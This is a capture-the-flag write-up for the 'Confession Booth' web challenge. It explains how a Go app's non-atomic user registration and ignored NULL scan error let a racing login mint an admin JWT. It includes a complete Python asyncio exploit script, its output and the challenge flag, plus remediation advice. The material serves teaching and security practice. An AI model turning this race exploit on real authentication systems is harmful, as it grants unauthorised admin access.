> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2026/wiz-cloud-security-challenge/confession-booth.md).

# Confession Booth

### Challenge Description

<figure><img src="/files/pOhF5Gq87nUv4dfQ35gU" alt=""><figcaption></figcaption></figure>

**Confession Booth** is a web application CTF challenge where users can anonymously post confessions. The application is built with Go using the Echo framework, PostgreSQL database, and JWT-based authentication. The goal is to gain admin access and retrieve the flag from a protected admin endpoint.

### Table of Contents

* [Challenge Description](#challenge-description)
* [Table of Contents](#table-of-contents)
* [Solution Overview](#solution-overview)
* [Initial Analysis](#initial-analysis)
  * [Application Architecture](#application-architecture)
  * [Authentication Flow](#authentication-flow)
  * [Permission System](#permission-system)
  * [Vulnerability Discovery](#vulnerability-discovery)
    * [The Race Condition](#the-race-condition)
    * [Improper Error Handling](#improper-error-handling)
* [Main Exploitation](#main-exploitation)
  * [Understanding the Attack Window](#understanding-the-attack-window)
  * [Crafting the Exploit](#crafting-the-exploit)
* [Getting the Flag](#getting-the-flag)

### Solution Overview

This challenge combines a registration race with sloppy database error handling:

1. Read the Go source and map the routes.
2. Check how JWTs and permission levels work.
3. Notice the gap between user creation and permission assignment.
4. Abuse the login handler's NULL handling.
5. Race registration and login until the app signs an admin JWT.

The weakness: registration creates the row first and assigns permissions afterward. If login lands in that gap, `permission_level` is still NULL. The scan error is ignored, the Go `int` keeps its zero value, and zero means Admin.

### Initial Analysis

The challenge provides full source code for a Go web application. Let's analyze the key components.

#### Application Architecture

The application structure reveals a standard MVC-like Go web application:

```mermaid
flowchart TD
    Root["confession_booth_source"]
    Main["main.go<br/>Application entry point and routing"]
    Auth["auth/auth.go<br/>JWT creation and middleware"]
    Config["config/constants.go<br/>Permission constants"]
    DB["database/<br/>database.go and users.go<br/>DB initialization and user CRUD"]
    Handlers["handlers/<br/>admin_handlers.go and auth_handlers.go"]
    Templates["templates/<br/>HTML templates"]

    Root --> Main
    Root --> Auth
    Root --> Config
    Root --> DB
    Root --> Handlers
    Root --> Templates
    Main --> Handlers
    Handlers --> Auth
    Handlers --> Config
    Handlers --> DB
    Handlers --> Templates
```

The important routes in `main.go`:

```go
// Public routes
e.Match([]string{"GET", "POST"}, "/auth/register", handlers.RegisterHandler)
e.Match([]string{"GET", "POST"}, "/auth/login", handlers.LoginHandler)

// Protected admin routes - requires AuthMiddleware AND AdminMiddleware
adminGroup := e.Group("/admin")
adminGroup.Use(auth.AuthMiddleware)
adminGroup.Use(auth.AdminMiddleware)
adminGroup.POST("/confessions/approve/:id", handlers.ApproveConfessionHandler)
```

#### Authentication Flow

The application uses **HS512 JWT tokens** for authentication. From `auth/auth.go`:

```go
var jwtKey []byte

func init() {
    jwtKey = make([]byte, 64)
    if _, err := rand.Read(jwtKey); err != nil {
        log.Fatal("Failed to generate random JWT key: ", err)
    }
}

type Claims struct {
    UserID int `json:"user_id"`
    Perms  int `json:"perms"`
    jwt.RegisteredClaims
}

func CreateJWT(userID int, perms int) (string, error) {
    claims := &Claims{
        UserID: userID,
        Perms:  perms,
        // ...
    }
    token := jwt.NewWithClaims(jwt.SigningMethodHS512, claims)
    return token.SignedString(jwtKey)
}
```

The JWT key is randomly generated at startup, making token forgery impossible without exploiting another vulnerability.

#### Permission System

From `config/constants.go`:

```go
const (
    PermissionAdmin = 0
    PermissionUser  = 1
)
```

> The permission system uses `0` for Admin and `1` for User. That is a bad default to pair with Go's zero-value `int`.

The `AdminMiddleware` in `auth/auth.go` checks for admin access:

```go
func AdminMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
    return func(c echo.Context) error {
        perms, ok := c.Get("userPerms").(int)

        if !ok || perms != config.PermissionAdmin {
            return c.Render(http.StatusForbidden, "error.html", 
                map[string]interface{}{"Message": "Admin access required"})
        }
        return next(c)
    }
}
```

#### Vulnerability Discovery

**The Race Condition**

The vulnerability exists in `handlers/auth_handlers.go` - `RegisterHandler`:

```go
func RegisterHandler(c echo.Context) error {
    // ... validation ...

    // Step 1: Create user - permission_level is NULL!
    userID, err := database.CreateUser(username, string(hashedPassword), profilePicURL)
    if err != nil {
        return c.String(http.StatusInternalServerError, "Username already exists")
    }

    // Step 2: Set permissions to User (1)
    targetPerms := config.PermissionUser  // = 1
    if err := database.UpdateUserPermissions(userID, targetPerms); err != nil {
        return c.String(http.StatusInternalServerError, "Failed to set user permissions")
    }

    return c.Redirect(http.StatusSeeOther, "/auth/login")
}
```

Looking at `database/users.go`:

```go
func CreateUser(username, passwordHash, profilePicURL string) (int, error) {
    // NOTE: permission_level is NOT set - it will be NULL!
    insertStmt := `INSERT INTO users (username, password_hash, profile_picture_url) 
                   VALUES ($1, $2, $3) RETURNING id`
    var userID int
    err := DB.QueryRow(insertStmt, username, passwordHash, profilePicURL).Scan(&userID)
    return userID, err
}
```

The race window is the short gap between `CreateUser()` and `UpdateUserPermissions()`. During that gap, the user exists with `permission_level = NULL`.

**Improper Error Handling**

The login handler in `auth_handlers.go` has a flaw:

```go
func LoginHandler(c echo.Context) error {
    // ...
    var userID int
    var dbHashedPassword string
    var userPerms int  // Default value is 0 (Admin!)

    selectStmt := `SELECT id, password_hash, permission_level FROM users WHERE username = $1`
    err := database.DB.QueryRow(selectStmt, username).Scan(&userID, &dbHashedPassword, &userPerms)

    if err == sql.ErrNoRows {  // Only checks for ErrNoRows!
        return c.String(http.StatusUnauthorized, "Invalid credentials")
    }

    // Password comparison proceeds even if scan partially failed!
    if err := bcrypt.CompareHashAndPassword([]byte(dbHashedPassword), []byte(password)); err != nil {
        return c.String(http.StatusUnauthorized, "Invalid credentials")
    }

    // JWT created with userPerms (which is 0 if NULL scan failed!)
    token, err := auth.CreateJWT(userID, userPerms)
    // ...
}
```

When `permission_level` is NULL:

1. `Scan()` fails with a conversion error (not `sql.ErrNoRows`)
2. The error check only handles `sql.ErrNoRows`, so the conversion error is **ignored**
3. `dbHashedPassword` was already scanned successfully (it comes before `permission_level`)
4. `userPerms` retains its **default value of 0** (Admin!)
5. Password comparison succeeds, and a JWT with `perms: 0` is created

***

### Main Exploitation

#### Understanding the Attack Window

The attack requires logging in during the brief window between:

* `CreateUser()` completing (user exists with NULL permission)
* `UpdateUserPermissions()` setting permission to 1

```mermaid
flowchart LR
    A["CreateUser()<br/>permission_level = NULL"]
    B["Attack window<br/>login reads the row before permissions update"]
    C["JWT minted<br/>Scan error is ignored and userPerms stays 0 (Admin)"]
    D["UpdateUserPermissions()<br/>permission_level = 1"]

    A --> B
    B --> C
    C --> D
```

#### Crafting the Exploit

The exploit uses Python's `asyncio` and `aiohttp` to send concurrent registration and login requests. The live challenge sits behind a launcher proxy, so the exploit also needs the outer `token` cookie that is set on each generated `*.confession-booth.challenges.wiz-research.com` subdomain.

The fixed script is checked in as `run.py`. By default it launches a fresh challenge instance, extracts the required challenge token cookie, and then starts racing:

```python
#!/usr/bin/env python3
import asyncio
import base64
import http.cookiejar
import json
import random
import string
import urllib.parse
import urllib.request

import aiohttp

WEB_LAUNCH_URL = (
    "https://cloudsecuritychampionship.com/api/challenge/"
    "e4f5a6b7-c8d9-4e0f-a1b2-3c4d5e6f7a8b/web-launch"
)


def auto_launch():
    """Launch a fresh Confession Booth instance and return (base_url, token_cookie)."""
    jar = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))

    session_req = urllib.request.Request(
        "https://ctf.wiz-research.com/api/v1/session",
        data=b"",
        method="POST",
    )
    with opener.open(session_req, timeout=20) as resp:
        access_token = json.loads(resp.read().decode())["access_token"]

    redirect_url = (
        "https://cloudsecuritychampionship.com/redirect?token="
        + urllib.parse.quote(access_token)
    )
    with opener.open(redirect_url, timeout=20):
        pass

    with opener.open(WEB_LAUNCH_URL, timeout=45) as resp:
        base_url = resp.geturl().rstrip("/")
        resp.read(128)

    hostname = urllib.parse.urlparse(base_url).hostname or ""
    token_cookie = None
    for cookie in jar:
        if cookie.name == "token" and hostname.endswith(cookie.domain.lstrip(".")):
            token_cookie = cookie.value
            break

    if not token_cookie:
        raise RuntimeError("launched instance, but did not receive challenge token cookie")

    return base_url, token_cookie


def decode_jwt(token):
    try:
        payload = token.split(".")[1]
        payload += "=" * (-len(payload) % 4)
        return json.loads(base64.urlsafe_b64decode(payload.encode()))
    except Exception:
        return None


def random_username():
    suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=12))
    return f"race_{suffix}"


async def register(session, base_url, username, password):
    async with session.post(
        f"{base_url}/auth/register",
        data={
            "username": username,
            "password": password,
            "profile_picture_url": "https://ui-avatars.com/api/?name=X",
        },
        allow_redirects=False,
    ) as resp:
        await resp.read()
        return resp.status


async def login(session, base_url, username, password):
    async with session.post(
        f"{base_url}/auth/login",
        data={"username": username, "password": password},
    ) as resp:
        if resp.status == 200:
            data = await resp.json(content_type=None)
            token = data.get("token")
            payload = decode_jwt(token) if token else None
            if payload:
                return token, payload
    return None


async def race_attempt(session, base_url, logins_per_user):
    username = random_username()
    password = "p"

    register_task = asyncio.create_task(register(session, base_url, username, password))
    login_tasks = []

    for _ in range(logins_per_user):
        login_tasks.append(asyncio.create_task(login(session, base_url, username, password)))
        await asyncio.sleep(0.0005)

    await register_task

    for task in asyncio.as_completed(login_tasks):
        result = await task
        if result:
            token, payload = result
            if payload.get("perms") == 0:
                return token, payload, username

    return None


async def get_flag(base_url, token_cookie, admin_token):
    cookies = {"token": token_cookie, "booth_session": admin_token}
    headers = {"Authorization": f"Bearer {admin_token}"}

    async with aiohttp.ClientSession(headers=headers, cookies=cookies) as session:
        async with session.post(f"{base_url}/admin/confessions/approve/flag") as resp:
            return await resp.text()
```

```bash

python3 run.py
```

Exploit details:

* `asyncio` enables true concurrent requests
* The launcher flow retrieves the required outer `token` cookie before exploiting the app
* Multiple staggered login attempts per registration maximize the chance of hitting the race window
* Batch processing allows continuous attempts until success

***

### Getting the Flag

The run below shows the race hitting on the first batch.

<figure><img src="/files/WL0Y89lgmXvUGU2dPGnx" alt=""><figcaption></figcaption></figure>

Running the exploit:

```bash
cd confession_booth
python3 run.py
```

Output:

```
[*] Launching fresh Confession Booth instance...
[*] Target: https://dfd85d1e-509c-44fd-acf5-307ac93acd15.confession-booth.challenges.wiz-research.com
[*] Starting race condition exploit...
[*] Batch 1/3...
[+] FOUND ADMIN TOKEN!
[+] Username: race_hmsyw4bmjqri
[+] Payload: {'user_id': 14, 'perms': 0, 'exp': 1781514548}
[+] Flag response status: 200
[+] FLAG: {"flag":"WIZ_CTF{0nc3_y0u_w1n_7h3_r4c3_y0u_c4nn07_un533}"}
```

The exploit successfully obtained an admin JWT with `perms: 0` and accessed the flag endpoint at `/admin/confessions/approve/flag`. If the race does not hit immediately, rerun the script or increase `--batches`, `--parallel-users`, or `--logins-per-user`.

Summary:

1. Non-atomic user creation leaves a window where `permission_level` is NULL.
2. The login handler only checks for `sql.ErrNoRows`, so it ignores NULL scan errors.
3. Go's default `int` value is `0`, which this app also uses for `PermissionAdmin`.
4. Concurrent async requests hit the race window often enough to obtain admin privileges.

Remediation:

* Use database transactions to make user creation atomic
* Handle every database error; `ErrNoRows` is only one case
* Use `sql.NullInt64` for nullable integer columns
* Consider using non-zero values for privileged permission levels

Flag: `WIZ_CTF{0nc3_y0u_w1n_7h3_r4c3_y0u_c4nn07_un533}`
